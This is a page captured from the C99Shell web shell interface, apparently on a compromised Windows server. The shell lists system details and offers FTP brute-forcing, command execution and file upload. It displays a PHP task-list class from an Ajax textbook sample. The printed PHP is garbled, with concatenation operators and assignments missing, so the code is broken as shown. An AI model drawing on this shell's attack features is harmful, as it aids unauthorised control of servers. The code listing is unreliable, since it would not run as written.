!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\phpold\AjaxPhpCode\Chapter10\ajax\drag-and-drop\   drwxrwxrwx
Free 7.96 GB of 239.26 GB (3.33%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     taskslist.class.php (3.38 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// load error handler and database configuration
require_once ('error_handler.php');
require_once (
'config.php');

// This class builds a tasks list and 
// performs add/delete/reorder actions on it
class TasksList
{
  
// stored database connection
  
private $mMysqli;
  
  
// constructor opens database connection
  
function __construct() 
  {   
    
// connect to the database
    
$this->mMysqli = new mysqli(DB_HOSTDB_USERDB_PASSWORD,
                                
DB_DATABASE);      
  }

  
// destructor closes database connection  
  
public function __destruct() 
  {
    
$this->mMysqli->close();
  }
  
  
// Builds the tasks list
  
public function BuildTasksList()
  {
    
// initialize output
    
$myList '';
    
// build query
    
$result $this->mMysqli->query('SELECT * FROM tasks ' 
                                    
'ORDER BY order_no ASC');
    
// build task list as <li> elements
    
while ($row $result->fetch_assoc()) 
    { 
      
$myList .= '<li id="' htmlentities($row['id']) . '">' 
                 
htmlentities($row['description']) . '</li>';
    }
    
// return the list
    
return $myList;
  }

  
// Handles the server-side data processing
  
public function Process($content$action)
  {
    
// perform action requested by client
    
switch($action)
    {
      
// Reorder task list
      
case 'updateList':
        
// retrieve update details
        
$new_order explode('_'$content);
        
// update list
 
        
for ($i=0$i count($new_order); $i++)
        {
          
// escape data received from client
          
$new_order[$i] = 
                      
$this->mMysqli->real_escape_string($new_order[$i]);
          
// update task
          
$result $this->mMysqli->query('UPDATE tasks SET order_no="' 
                             
$i '" WHERE id="' $new_order[$i] . '"');
        }
        
$updatedList $this->BuildTasksList();
        return 
$updatedList;
        break;
     
      
// Add a new task
      
case 'addNewTask':
        
// escape input data
        
$task trim($this->mMysqli->real_escape_string($content));
        
// continue only if task name is not null
        
if ($task)
        {
          
// obtain the highest order_no
          
$result $this->mMysqli->query('SELECT (MAX(order_no) + 1) ' 
                                          
'AS order_no FROM tasks');
          
$row $result->fetch_assoc();
          
// if the table is empty, order_no will be null
          
$order $row['order_no'];          
          if (!
$order$order 1;
          
// insert the new task as the bottom of the list
          
$result $this->mMysqli->query
                          
('INSERT INTO tasks (order_no, description) ' 
                           
'VALUES ("' $order '", "' $task '")');
          
// return the updated tasks list
          
$updatedList $this->BuildTasksList();
          return 
$updatedList;
        }
        break;
      
      
// Delete task
      
case 'delTask':
        
// escape input data
        
$content trim($this->mMysqli->real_escape_string($content));
        
// delete the task
        
$result $this->mMysqli->query('DELETE FROM tasks WHERE id="' 
                                        
$content '"');
        
$updatedList $this->BuildTasksList();
        return 
$updatedList;
        break;
    }
  }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--